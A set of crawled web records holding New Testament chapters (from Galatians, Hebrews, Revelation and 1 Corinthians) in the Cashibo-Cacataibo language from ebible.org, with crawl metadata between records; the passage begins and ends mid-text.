sinánquinbi anuxuinshi Jesucristo ñuiquin mitsu bana ñuixuntabaquin ñuixuancën. 14 'Ëx 'ñucë 'aish upíma 'icë isquinbi camina 'ë timáma 'ain. Usa 'ixun camina Nucën Papa Diosan xucë ángel bicësa oquin upí oquin bianan Jesucristo 'acësa oquin 'ë biacën. 15 'Ë isi camina cuëëancën. ¿Usai 'iá 'aíshbi caramina bërí uisacatsi usama 'ain? Usama 'aínbi cana 'unanin, usoti 'icë cuni camina mitsun bëru ëchíxun 'ë 'inan 'itsían. 16 ¿'Ën mitsu asérabi cacë bana sinánquin caramina 'ëx cana mitsumi nishi quixun sinanin? Usama ca.\n17 An mitsu bana itsi 'unánmicë unicamax ca cëmëquin parani mitsubë upiti banaia. Usai 'iquinbi ca asérabi mitsu 'aquinti sinaníma. Mitsúnmi 'ë sinánquinma atuishi sinánquin aín banaishi cuati ca cuëënia. 18 Usa 'aínbi cana mitsu cain, paránquinma unin upí oquin ñu 'aquincëxmi mitsux abë nuibananti ca asábi 'icën. Usaribi oquinmi mitsubë 'icë 'acësaribi oquin mitsubë 'icëmabi 'ë sinánti ca asábi 'iti 'icën. 19 Mitsux camina 'ën bëchicësa 'ain. Usa 'ain cana mitsúnmi Cristo 'unáncëma pain 'ain 'iásaribiti mitsúxmi asérabi ami upiti catamënun quixun sinani, masá nuituti bënëtin, bacë́nuxun paë tania xanu bënë́cësaribi oi. 20 'Ëx anu mitsubë 'iti cana cuëënin. 'Ëx anu 'ixun cuni cana mitsubë banaquin, upí oquin mitsun sinan 'unánquin, mitsu upí oquin 'ësëtsian. Mitsubëma 'ixun cana uisai caramina 'icani quixun 'unaniman. Usa 'ain cana uisaquin carana mitsu cati 'ai quixun 'unaniman.\nAgarcëñun Sara ñuicë bana\n21 Mitsux Moisésnën cuënëo bana quicësabi oquin 'ati cuëëncë 'ixun camina 'ën ñucácëxun 'ë cati 'ain, ¿caramina uisai cara a bana quia quixun upí oquin 'unáncëma 'ain? 22 A banax ca quia, Abraham ca rabë́ bëbu bëchicëñu 'iacëxa. Bëtsin titax ca Abrahamnën xanúan ñu mëëmicë, Agar cacë xanu, 'iacëxa. Bëtsix ca Abrahamnën xanun tuábi 'iacëxa. 23 An Abrahamnën xanu ñu mëëxuncë xanun tuacëx ca camabi tuásaribi 'aish unin bëchicëishi 'iacëxa. Usa 'aínbi ca bëtsix Abrahamnën xanu, Sara, ax tuacëma 'aíshbi Nucën Papa Diosan Abraham cásabi oi tutancëx bacë́ancëxa. 24 Ënëx ca ësa 'icën. Ënë xanu rabë́ 'imainun tuá rabë́ ñui quicë bana isquin cananuna bëtsi bana rabë́ribi sinánti 'ain, ësai quicë: A bana achúshinëx ca Cristo ñui quicë 'icën. A bana ca asérabi 'icë quixun sinani Cristomi catamëcë unicamax ca Saran rëbúnquisa 'icën. Bëtsix ca Nucën Papa Diosan Moisés cuënëomia bana a ñui quicë 'icën. Aín bashi Sinaí, anuax 'itsa nëtë abë banaquin ca Nucën Papa Diosan usai ca 'ën uni 'iti 'icë quixun Moisés cacëxa. A bana quicësabi oquin aín unicaman 'anun 'inan 'aínbi ca 'itsa unin, a 'acë cupíshi cana Nucën Papa Diosan uni 'ai quixun sinania. Usaquin sináncë unicama ax ca Agarnën rëbúnquisa 'icën. 25 Aín bashi Sinaí ax ca Arabia menu 'icën. Aín bashi Sinaínuxuan abë banaquin Nucën Papa Diosan Moisés, usai ca aín unicama 'iti 'icë quixun cá bana 'acë cupí cana Nucën Papa Diosan uni 'ai quixun sináncë unicamax ca Jerusalénu 'icë unicamasa 'icën. Usaquin sináncë unicamax ca Agarnën tuá 'iásaribi 'icën. Usa 'aish ca ësa 'icën. Nucën Papa Diosan, min xanun ca mi tuaxunuxun 'aia cá bana sinánquinma ca Abrahamnën bëchicëñu 'iti cuëënquinshi Agar cacë xanumi bëchiacëxa. Usa 'aish ca a tuá a Nucën Papa Diosan Abraham ñuixuan, ama 'iacëxa. 26 'Itsa uníxa Agarnën tuá 'iásaribi 'aínbi cananuna usama 'ain. Nux cananuna Nucën Papa Diosan nëtënu 'icë Jerusalén anu abë 'iti uni 'ain. 27 Abrahamnën xanu ñui ca cuënëo bana ësai quia:\nAn tuacë xanun rëbúnquinëxa 'icësamaira oi ca —'ën cana tuaima —quixuan an sináncë xanu aín rëbúnqui 'aisamaira 'iti 'icën. Usa 'ain camina mix tuatima 'aish tuáñuma xanu 'aíshbi —tuáñu cana 'iti 'ai —quixun 'unani cuëënti 'ain; tuacën paë tancëma xanu 'aíshbi camina tuá 'imainun rëbúnquiñu 'icë cupí chuámarua tani cuëënti 'ain.\n28 'Ën xucë́antu, Nucën Papa Diosan Abraham cacësabi oquin ca Isaac aín titan tuacëxa. Usaribiti cananuna nux Nucën Papa Diosan mëníosabi oi Cristo cupí ainan 'ain. 29 Bëráma ca Agarnën tuá, axa camabi tuá 'icësaribi unin bëchicëshi 'inun aín titan tua, an, Isaac, Nucën Papa Diosan cacësabi oquian Abrahamnën bëchicë, a bëtsi bëtsi ocëxa. Usaribi oquin ca an Nucën Papa Diosnan 'inuxun, usai ca judíos unicama 'iti 'icë quicë bana 'acë unin, axa Nucën Papa Diosnan 'inux Cristomi catamëcë unicama bëtsi bëtsi oia. 30 Usa 'aínbi ca Nucën Papa Diosan bana cuënëo ësai quia: \"Aín xanúan ñu mëëmicë xanun tuacën rëbúnquinëx ca Nucën Papa Diosan cásabi oi Abrahamnën xanun tuacën rëbúnquisaribi 'itima 'icën. Usa 'ain ca aín xanúan ñu mëëmicë xanubë aín tuá ashiti Abrahamnën xubunuax utëcëntimoi cuanti 'icën\". 31 'Ën xucë́antu, usa 'ain cananuna nux Agarnën tuá 'iásaribima 'aish Saran tuása 'ain.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/GAL04.htm","date":"2022-05-16T07:38:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510097.3\/warc\/CC-MAIN-20220516073101-20220516103101-00505.warc.gz","language":"cbr","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000081062316895}","num_words":1130,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.347,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nJesús ñui quicë bana\n1 Ënë banaxa bëtsi banasama 'icëmi mitsun 'unánun cananuna ënë ñuiquin mitsu cain, an Nucën Papa Dios aín unicama ñucáxunti, Jesús, ax ca usa 'aish bërí aín nëtënu abë 'aish, Nucën Papa Diosbë 'Apu 'icën. 2 Tabernáculo cacë xubu unin 'acë anuxuan Levitan rëbúnqui achúshinën judíos unicama Nucën Papa Dios ñucáxuncë 'aínbi ca anuxunma, aín nëtë anu Nucën Papa Dios 'icë, anuxunbi Jesusan nu Nucën Papa Dios ñucáxunia, Nucën Papa Diosan mëníosabi oquin. 3 An unicaman 'ucha Nucën Papa Diosan tërë́nun ñuina rëcë xaronux ca sacerdotenën cushicaman 'apu an Nucën Papa Dios aín unicama ñucáxuncë 'ia. Usaribiti ca Jesús unicaman 'ucha tërë́ncë 'inun ñuina rëtíma, a cupía unicaman 'ucha tërë́ncë 'inun bamatsianxmabi bamacëxa. 4 Bëríbi nubë 'aish ca Jesús sacerdote 'itsianxma. Levitan rëbúnquinëxëshi Moisés quiásabi oi sacerdote 'ixun ca ñuina rëtancëxun xaroquin judíos unicama Nucën Papa Dios ñucáxunia. 5 —Jesucristo ax unicaman 'ucha tërë́ncë 'inun bamax baísquitancëxun ca ënu 'ëbë 'ixun unicama 'ë ñucáxunti 'icë —quixun sinánquin ca Nucën Papa Diosan bëráma Jesucristo ucëma pain 'ain —Levitan rëbúnquinën ca tabernáculo xubunuxun judíos unicaman 'ucha tërë́ncë 'inun ñuina rëxun xaroquin unicama 'ë ñucáxunti 'icë —quixun mëníocëxa. Tabernáculo xubu 'ati ñuiquin ca Nucën Papa Diosan Moisés \"aín bashinuxun 'ën mi ismicësabi oquin camina a xubu 'imainun anu 'icë ñucama 'ati 'ai\" quixun cacëxa. Usa 'ain cananuna 'unanin, Jesucristo aín nëtënu abë 'ixun nu a ñucáxunti sinánquin ca judíos sacerdotenën tabernáculonu 'icë ñucama 'anun Nucën Papa Diosan mëníocëxa. 6 —Nucën Papa Diosan Moisés cuënëomia bana quicësabi oi 'i ca uni Nucën Papa Diosnan 'iti 'icë —quiáxa ax quicë bana, asamaira ca —Jesúsmi catamëtishi ca uni Nucën Papa Diosnan 'iti 'icë —quicë bana, ax 'icën. Usa 'ain ca Levitan rëbúnquinën unin 'ucha tërë́ncë 'inun 'ásamaira oquin Jesusan nun 'ucha tërë́nquin Nucën Papa Diosbë upí 'inun nu 'imia.\n7 Usai ca judíos unicama 'iti 'icë quixun Moisésnën cuënëo bana quicësabi oquin 'ai aín nuitu upí 'ain ca bëtsi bana Jesús ñui quicë a Nucën Papa Diosan mëníoma 'itsíanxa. 8 Nucën Papa Diosan ca judíos unicama an cacësabi oi 'iiama isacëxa, aín bana cuënëo ësai quicësabi oquin:\nNucën 'Ibu Dios ca quia, usai ca judíos unicama, Israelnën rëbúnqui 'iti 'icë quixun Moisés cuënëomia bana 'inan, 'ixunbi cana 'itsa bari inúcëbëtan bëtsi bana judíos unicama 'inánti 'ain. Anun 'ën a bana 'inánti nëtë ca uti 'icën. 9 A banax ca judíos unicama Egipto menua buánquin uisai cara atux 'iti 'icë quixun 'ën Moisés cá banasama 'iti 'icën. Judíos unicama 'aquinsa tanquinbi cana atúan 'ën bana cuaquin 'ën cacësabi oquin 'acëma cupí atu ëancën. 10 Usa 'ixunbi cana 'ëx mitsun 'Ibu Dios 'ixun mitsu cain, usai ca judíos unicama 'iti 'icë quixun caquin 'ën a pain 'inan bana sënë́ncëbëtan cana bëtsi bana judíos uni Israel unicama 'inánti 'ain. Ësai ca a bana quiti 'icën: 'Ën cana 'ën cacë bana 'ën unicaman manuquinma sinánan aín nuitu mëu upí oquin 'unánun 'unánmiti 'ain. 'Ëx cana aín Dios 'aish atúan rabicë 'iti 'ain. 'Imainun ca atux asérabi 'ën unicama 'iti 'icën. 11 'Ën unicaman ca 'ë 'unánti 'icën. Ñu 'unáncëma 'imainun ñu 'unáncë uni, apan 'imainun xucamanribi ca 'ë 'unánti 'icën. Usa 'ain ca uinu 'icë unínbi bëtsi uni, aín xucë́nbi, abë 'icë unibi cacëxunmabi atúnbi 'ë 'unánti 'icën. 12 Usaía ax 'icë uni a cana ñu 'atima 'acëbi nuibaquin aín 'uchacama tërë́nti 'ain. Tërë́nxun cana manuquin aín 'uchacama sinántëcëntima 'ain.\n13 Ësaía Cristo cupí aín unicama aín nuitu upí 'iti ñui ca Nucën Papa Dios —'ën bëráma usai ca judíos unicama aín 'ucha tërë́ncë 'iti 'icë quixun Moisés cuënëomia bana a camina ënti 'ai —quiax quia. Usa 'aish ca a bana sënë́ntishi 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/HEB08.htm","date":"2022-05-25T19:45:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662593428.63\/warc\/CC-MAIN-20220525182604-20220525212604-00752.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":584,"character_repetition_ratio":0.12,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.384,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"12\nXanu 'imainun pianancë ñuina chaira capë́sa 'aíshbi ushíainra ñui quicë bana\n1 Usai 'icëbëtan cana achúshi ñu naínu 'icë isan, ax ca xanu 'iaxa. Xanu 'aíshbi bari mëu nicësa 'ianan ca aín taë shimú 'uxë 'iaxa. Aín maxcánu ca mëcën rabë́ 'imainun rabë́ 'ispa mañutiocë 'iaxa. 2 Tuñu 'aish ca a xanu bacë́nux paë tani bënëti cuëncë́anxa. 3 A istancëxun cana bëtsi ñuribi naínua isan, ax ca pianancë ñuina chaira, maxë capë́sa 'iaxa. Aín maxcá ca mëcën achúshi 'imainun rabë́ 'iaxa. Usa 'aish ca aín maxcá achúshi achúshinu mañuti 'iaxa. Aín matúxcacama ca mëcën rabë́ 'iaxa. 4 Aín ina chaira anun ca maë́ncësoquin 'ispacama nëbë́tsi, rabë́ 'imainun achúshi oquin tëacësa 'aíshbi amo 'icë achúshi menua nipacënun rëupaxa. Usoquin 'ispa rëupatancëx ca bacënia aín tuá 'enux, tuñu xanu bëmánon niracëaxa. 5 Niracëxuan caínmainun ca a xanu bëbu tuá bacë́anxa, ax canitancëx cushi 'ixun ca camabi menu 'icë unían aín bana cuanun 'imiti 'icën. Usa 'ain ca aín tita bacë́ncë 'icë, anua ax 'icë anu abë 'Apu 'inun Nucën Papa Diosan buánxa. 6 Bacë́ntancëx ca a xanu anu uni 'icëma menu cuanxa, anua ax 'iti Nucën Papa Diosan mënío anu. Mil doscientos sesenta nëtën 'i anu 'ia ca an mëníosabi oquin Nucën Papa Diosan anúan ax upitax tsónun piti 'inánti 'icën.\n7 Usaía 'ian ca Nucën Papa Diosan nëtënuax, ángelcaman cushi, Miguel, a 'imainun aín ángelcamax, pianancë ñuina chaira maxë capë́sa a 'imainun aín ángelcamabë 'acananxa. 8 'Acananquin ca Miguel 'imainun aín ángelcaman, pianancë ñuina chaira maxë capë́sacëñun aín ángelcama ñusmoxa. Ñusmocëbë ca Nucën Papa Diosan nëtënu anua atux 'iti 'aíma 'iaxa. 9 Anua atux 'iti 'aíma 'ain ca pianancë ñuina chaira maxë capë́sa a aín ángelcamacëñunbi Nucën Papa Diosan chiquínxun menu niaxa. A capë́sa ñuina ax ca an bëráma Nucën Papa Diosan uniotabatia uni paran 'aish ñunshin 'atimanën 'apu, Satanás, an camabi menu 'icë unicama paráncë a 'icën.\n10 Usaía 'icëbëtan cana Nucën Papa Diosan nëtënuaxa ësai munuma banaia cuan:\n—An ami catamëcë unicama, nucën xucë́antu, 'atimaquin ñuiquin nëtë́quinma nëtë́nbi 'imë́bi Nucën Papa Dios manóncë, ax ca ënua chiquíncë 'icën. Usa 'ain ca bërí an aín cushínbi ainan 'inun uni ië́micë, Nucën Papa Dios, ainshi asérabi aín 'Apu 'ixun, aín unicama bërúanan Cristo atun 'Ibu 'inun 'imiaxa. 11 Aín unicama, nucën xucë́antu, ax ca Carnero 'icësaribitia unin 'ucha cupí bama, ami catamëcë cupí atun 'ucha tërë́ncë 'ianan aín bana ënquinma sináncë 'aish, ñunshin 'atimanën 'apúan 'atima ñu 'amicëma 'iaxa. Atun ca axa ami nishcë unin bëtsi bëtsi ocëx bamatisa 'ixunbi Nucën Papa Diosmi sinánti ëncëma 'icën. 12 Ñunshin 'atimanën 'apu a Nucën Papa Diosan aín nëtënua chiquíncë 'ain, camina a nëtënu 'icëcama, mitsux cuëënti 'ain. Mitsu usaquin canan cana axa menu 'icëcama 'imainun axa parúnpapanu 'icëcama ësaquin cain: Nucën Papa Diosan aín nëtënua chiquíncë 'aish ca ñunshin 'atimanën 'apu 'aisamairai nishaxa, anun an ñu 'ati nëtë ca 'itsama 'icë quixun 'unani. Nishquian ñu 'acëbëtan camina 'aisamaira masá nuituquin tëmërati 'ain.\n13 Usaía naínuax banaia 'ën cuacëbëtan ca pianancë ñuina chaira maxë capë́sa an —naínua chiquínxun ca 'ë menu niaxa —quixun 'unánquin, xanu axa bëbu tuá bacë́ncë, a 'atimonuxun nuiaxa. 14 Nuicëxbi ca a xanux Nucën Papa Diosan 'imicëx, tëtëcamë'ëon pëchisa rabë́ 'aish aín pëchi chaira 'iaxa. Anun anu uni 'icëma me, anu a ñuina chaira capë́sa ax cuantima, anu nuánti cupí ca usaquin Nucën Papa Diosan 'imiaxa, anuxun an mëníosabi oquin rabë́ 'imainun achúshi baritia 'imainun mëcën achúshi 'imainun achúshi 'uxën piti 'inánuxun. 15 Ñuina chaira capë́sa an ca a xanua bacan buántanun quixun aín cuëbitan 'unpax chaira, a caxuxun xucaxa. 16 Usocëbë ca me amo rabë́ tuqui baquicëbë, a ñuinacan xucacë 'unpax me 'ucë mëu atsini nëtë́axa. Usai 'iá 'unpax me 'ucë mëu atsíncëbëtan ca a xanu bacan buáncëma 'icën. 17-18 Usai 'ia isi ca ñuina chaira capë́sa ax 'aisamairai xuamati xanumi nishaxa. Nishi ca a xanun rëbúnqui raíri, an Nucën Papa Diosan bana quicësabi oquin 'acë 'ianan an Jesucristomi sinánti ëncëma, a unicamabë 'acanani cuanxa.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/REV12.htm","date":"2022-05-29T08:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663048462.97\/warc\/CC-MAIN-20220529072915-20220529102915-00167.warc.gz","language":"cbr","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000070333480835}","num_words":629,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nAxa Jesucristomi sináncë uníxa, an Nucën Papa Diosan bana 'unáncëma 'apumi manántima bana\n1 Mitsux Jesucristonën uni 'aíshbi mibëa Jesucristomi sináncë unibë nishanantancëxun camina axa Cristomi sináncëma 'apumi manánquinma, mitsúnbi an Nucën Papa Diosan bana cuacë uni raíribëtan mëníoti 'ain. 2 Jesucristo nun 'apu 'inux ucëbëtan ca aín unicaman abëtan camabi unin uisa ñu cara 'axa quixun isti 'icën. ¿Mitsux Jesucristobë 'apu 'iti 'ixun caramina unían bërí 'acë ñu 'unánquin mëníoxuntima 'ain? 3 Angelnënribi cara ñu upí 'axa quixun cananuna isti 'ain. Angelcaman cara ñu upí 'axa quixun 'unánti 'ixun cananuna asérabi ënë nëtënu 'icë unin cara ñu upí 'aia quixun 'unánti 'ain. 4 ¿Mitsux Jesucristonën uni 'aíshbi mibëa Jesucristomi sináncë unibë nishanantancëx caramina axa ami sináncëma uninu ami manani cuanti 'ain? 5 Usai 'itimimi rabínun quixun cana usaquin mitsu cain. ¿Mitsúxbi caramina usa ñu mëníonantima 'ain? 6 ¿Axa Jesucristomi catamëcë uníxa bëtsi ñui ami manani, axa Jesucristomi sináncëma 'apunu cuanti cara asábi 'ic? 7 An mitsubëtan Jesucristonën bana 'unáncë unimi manánbëquinti ax ca 'aisama 'icën. Ami manánquinmami an uisa cara mi ocëxunbi tanshiquin min ñua mëcamatiabi isëshiti ca asábi 'iti 'icën. 8 Usai 'iti asábi 'aínbi camina mitsun uni itsimi 'uchaquin aín ñu mëcamanan bëtsi bëtsi ñuribi 'ain, abëtanmi Jesucristonën bana cuacë unibi camina usoquin 'ain.\n9 ¿Aín nëtënu abë 'iisa 'aíshbi ca an ñu 'aisama 'acë uni aín nëtënu Nucën Papa Diosbë 'itima 'icë quixun caramina 'unaniman? Camina 'unánti 'ain, ainanmabi xanu cuëëncë unicama 'imainun an Nucën Papa Diosmi sinánquinma unin 'acë ñu rabicë unicama 'imainun aín xanuma 'aínbi bëtsi unin xanubë 'icë uni 'imainun xanúxmabi uni itsibë 'icë uni, 10 'imainun an ñu mëcamacë uni 'imainun an bëtsi unin ñu cuëëncë uni, 'imainun axa ñuianancë uni 'imainun paë́ncë uni 'imainun an uni paránxun aín ñu bicë uni, acamax ca Nucën Papa Diosan nëtënu 'itima 'icën. 11 Usa uni camina mitsu raírinëx 'iacën. 'Iá 'aínbi ca mitsun ñu 'atima 'acëcama tërë́ncë 'ain mitsun nuitu upí 'icën. Usa 'aish camina Nucën 'Ibu Jesucristo cupí, Nucën Papa Diosan Bëru Ñunshin Upitan 'imicëx, an iscëx ainan 'ain.\nNun namia Jesucristonan 'ain 'uchatima bana\n12 Asérabi ca ënë bana quia, \"unin ca aín cuëëncësoquin ñu 'ati 'icën\". Usa 'aínbi cana 'ëx upí 'iisa tanquin camabi ñuira 'atima 'ain. Unin ca aín cuëëncësoquin ñu 'ati 'icën. Usa 'aínbi cana unían ñunshínquin 'acësoquin ñu 'atima 'aisama tanin. 13 Ësaía uni quicë ax ca asérabi 'icën: Piisa tanquin nun picë ñu ax ca nun pucunu atsíntancëxun nun nami cushioia, Nucën Papa Diosan mëníosabi oquin. Usa 'aínbi cananuna ënë menuxunu 'acësa oquin Nucën Papa Diosan nëtënu 'ixun usa ñucama sinántëcëniman. Usa 'aínbi ca unin usai 'iti sinánquinbi tënëquin aín nami 'uchotima 'icën, aín xanuma 'aínbi xanu itsibë 'ianan unix uni itsibë 'iquin. Unían ainan 'ixun ax cuëëncësa oquinshi sinánun ca Nucën 'Ibu Diosan camabi uni uniocëxa. 14 Usoquin nu unio 'ixun ca an Nucën 'Ibu Jesús baísquimiasaribi oquin aín cushínbi nuribi baísquimiti 'icën.\n15 ¿Caramina, mitsux camina Jesucristonan 'ai quixun 'unaniman? ¿'Ëx Jesucristonan 'aíshbi carana 'ëx 'atima xanubë asaribi 'inux 'iti 'ain? Uisa 'aíshbi cana 'itima 'ain. 16 ¿Axa xanu 'atimabë 'icë uni ax ca abë achúshisa 'icë quixun caramina 'unaniman? Nucën Papa Diosan bana cuënëo quicësabi oi ca uni xanubë rabë́ 'aíshbi achúshisa 'icën. 17 Usa 'aínbi ca uinu 'icë unix cara Nucën 'Ibu Jesucristonan 'icë, an sináncësaribi oquin sinani abë achúshisa 'icën.\n18 Usa uni 'imainun usa xanumi camina 'unánti 'ain. Aín xanu 'aímabi xanu itsibë 'icë uni 'imainun xanúxmabi uni itsibë 'icë uni an ca abi aín namibi 'uchoquin 'atimamia. Ñu raíri 'aisama 'aquinbi ca unin usoquin aín nami 'uchoima. 19 ¿Aín Bëru Ñunshin Upí a Nucën Papa Diosan mitsu 'ináncë, ax ca minu 'icë quixun caramina 'unaniman? Mitsux camina anu ax 'icë, a 'ain. Usa 'ain camina miishima 'ain, ax ca min 'Ibu 'icën. 20 Nucën Papa Diosan ca mitsúxmi ainainshi 'iti oquin aín Bëchicë bamati oquin mëníocëxa. Ainan 'aish camina mitsux cuëëncësa oi 'ima ax cuëëncësabi oíshi 'iti 'ain. Usa 'ixun camina mitsun nami 'imainun mitsun sinan upí 'ixun Nucën Papa Dios cuëëncësa oquinshi ñu 'ati 'ain. Usaími mitsux 'ia isquin ca raírinën —upí ca Nucën Papa Dios 'icë —quixun 'unánti 'icën.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ebible.org\/cbrNT\/1CO06.htm","date":"2022-05-29T04:46:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663039492.94\/warc\/CC-MAIN-20220529041832-20220529071832-00038.warc.gz","language":"cbr","language_score":1.0000076294,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"cbr_Latn_score\": 1.0000076293945312}","num_words":661,"character_repetition_ratio":0.09,"word_repetition_ratio":0.003,"special_characters_ratio":0.221,"stopwords_ratio":0.378,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nUnían a rabinuxun uniocë ñu rabitima bana\n1 'Ën xucë́antu, ënëmi mitsun 'unánun cana mitsu cain: —Nucën raracamaxa Egiptonuax cuania ca Egiptonu 'icë suntárucaman 'atin rabanan Nucën Papa Diosan nëtë cuin bëararamiacëxa. Usaquiani ca Nucën Papa Diosan parúnpapa tëárabëoquin aín nëbë́tsi ësquimiquin me racáncëbë anun 'ucë manan sicaracëacëxa. 2 Usaquin nëtë cuinan bëararacë 'aish parúnpapa sicaracëtancëx ca nucën raracamax Nucën Papa Diosmi catamëti Moisésbë upí 'aish an buáncëx abë cuancëxa. 3 Cuanquin ca camaxunbi Nucën Papa Diosan 'ináncë piti piacëxa. An 'ináncë 'unpáxribi ca camaxunbi xëacëxa, xaxúnpapanuaxa shaquibutia. 4 Xaxunuaxa chiquícë 'unpáxsaribi 'ixun ca Cristonën abë cuanquin atu cushiocëxa. Usa 'ain ca anuaxa 'unpax chiquícë xaxusa Cristo 'iacëxa. 5 Usa 'aínbi ca ax quicësa oquian 'aiama oquin, usaía atux 'iti cuëënquinma Nucën Papa Diosan anu uni 'icëma menuxun 'itsamashi bërútamainun aín patsan cëñúmiacëxa.\n6 Nun atun ñu 'aisama 'ati cuëëansaribi oquin cuëënuxunma, nun a 'unánti oi ca usai 'iacëxa. 7 A unicama raírinëan 'ásaribi oquin camina unin 'acë ñu rabitima 'ain. Atu ñuiquin ca Moisésnën ësaquin cuënëocëxa: \"Aín paë bata xëanan pi bucubutancëx cuëëni ca ransacëxa\". 8 Usai 'ianan ca a unicama raírinëx aín xanuma xanu itsibë 'i 'uchatancëx achúshi nëtë́inshi 'itsaira veintitrés mil uni bamacëxa. A unicama raírinëxa aín xanuma xanu itsibë 'iásaribiti cananuna 'itima 'ain. 9 Atúnbi —Nucën Papa Diosan sapi ca nu 'atimotima 'icë —quixun sinánquin ñu 'aisama 'atancëxbi ca runun picëx a unicama bamacëxa. A unicamaxa Nucën Papa Diosmi 'uchasaribi oi cananuna usaquinribi sinani Nucën 'Ibu Jesúsmi 'uchatima 'ain. 10 Usaribitia a unicama raírinëx a ñui 'atimati banaia ca Nucën Papa Diosan cëñúmiacëxa. A unicama 'iásaribiti cananuna Nucën Papa Dios ñui 'atimati banatima 'ain.\n11 Nucën raracama usai 'iá, anu nun Jesucristomi catamëti ainan 'ixun 'unánun ca Nucën Papa Diosan Moisés cuënëomiacëxa. 12 Nux cananuna usai 'itima 'ai quixun sinanibi camina bërúinraoracati 'ain, usai atu mina 'in. 13 Ñu 'atima 'ati sinánquinbi camina 'unánti 'ain, mitsúinshima uni itsínribi ca usaribi oquin sinani tëmëraia quixun. Usa 'aínbi ca Nucën Papa Diosan, ax quicësabi oquin mitsu 'aquinquin, ñunshin 'atimanën mitsu 'aisamaira oquin tanun ënima. An ca ami catamëquinmi min ñu 'atima 'ati sináncë ënun mitsu cushioquin, uisaxun caramina ënti 'ai quixun mitsu sinánmiti 'icën.\n14 'Ën nuibacë xucë́antu, unínbi 'acë ñu a camina ami 'unánquin rabitima 'ain. 15 Mitsúxmi sinánñu uni 'icë cana usaquin mitsu cain. Usa 'ixun camina 'ën mitsu cacëxun cuaquin ënë banax ca asérabi 'icë quixun 'unánti 'ain. 16 Timë́xun cananuna, Jesucristo ca nun 'ucha cupí aín imi 'apati i curúsocënuax bamacëxa quixun sinánquin —asábi ca —quixun Nucën Papa Dios cain. Catancëxun cananuna manë xanpanua bimi baca xëaquin —Cristo aín imi 'apati bama cupí cananuna nun 'ucha tërë́ncë 'ai —quixun sinanin. Pánribi tëaxun tucatancëx mëtícanantancëxun piquin cananuna camaxunbi —Cristo ca nun 'ucha cupí i curúsocënuax bamacëxa —quixun sinanin. 17 'Itsa uni 'ixunbi cananuna camaxunbi a pán piquin, —nux cananuna camáxbi Cristonan 'aish achúshisa 'ai —quixun sinanin.\n18 Camina 'unanin, an a rabiquin ñuina 'acë Israel unicaman ca Nucën Papa Dios rabia. 'Imainun ca an a ñuina nami picë unicamanribi Nucën Papa Dios rabia. 19 Usaquin caquin cana unían a rabinuxun uniocë ñu ax ca cushi 'icë quixun mitsu caiman. 'Imainun ca a rabiquian 'acë ñuina nami axribi bëtsi namisama 'icë quixun cana mitsu caiman. 20 Ësaquin cana mitsu cain, judíosma unibunëx Nucën Papa Diosmi sináncëma 'ixun ñuina 'axun unin 'acë ñu rabiquin ca Nucën Papa Dios rabiquinma ñunshin 'atima rabia. Usaribiquin ñunshin 'atima rabimi mitsux aín uni 'iti cana cuëëniman. 21 Nucën 'Ibu Jesucristo ca nun 'ucha cupí bamacëxa quixun sinánquin uvas bimi aín baca 'acë 'ixun camina uni itsibëtan ñunshin 'atima rabiquin xëati ñu xëatima 'ain. Nucën 'Ibu Jesucristo sinánquin uvas bimi aín baca 'anan pán picë 'ixun camina ñunshin 'atima sinánquin a rabiquin 'ati ñu pitima 'ain. 22 Nucën 'Ibu Jesús nishmiquin camina ñunshin 'atima rabitima 'ain. Nuxnu cushima 'imainun ca axira nubë sënë́nmaira 'aish cushi 'icën.\nAinanshia 'inun 'aquinma bëtsi uniribi sinánquin unin ñu 'ati bana\n23 Ënë banax ca asérabi 'icën, \"Unin ca aín cuëëncësa oquin ñu 'ati 'icën\". Usa 'aínbi cananuna nux asábi 'iisa tanquin camabi ñuira 'atima 'ain. Asérabi ca \"unin aín cuëëncësa oquin ñu 'ati 'icë\" 'aínbi cananuna nux Jesusan bana quicësabi oi 'iisa tanquin camabi ñuira 'atima 'ain. 24 Axa Jesúsmi sináncë unin ca 'ënanshi ca quixun sinánquin ñu 'atima 'icën. Bëtsi uniribia upí 'inun 'aquinti sinánxun ca ñu 'ati 'icën.\n25-26 Mecama 'imainun menu 'icë ñucama ax ca Nucën 'Ibu Diosan unio 'aish ainan 'icën. Usa 'ain camina anuxun nami maruti anu 'icë nami maruxun piishiti 'ain. Uinua bëcë cara quixun camina ñucátima 'ain. —A pi sapi cana 'aisama 'iti 'ai —quixun camina sinántima 'ain.\n27 Axa Jesucristomi catamëcëma unían abëtanmi pi cuanun quixun cacëx camina cuainsa tani cuanti 'ain. Cuanxun camina —uinua bëcë cara a nami 'icë —quixun ñucáquinma piishiti 'ain. —A nami pi sapi cana 'aisama 'iti 'ai —quixun camina sinántima 'ain. 28 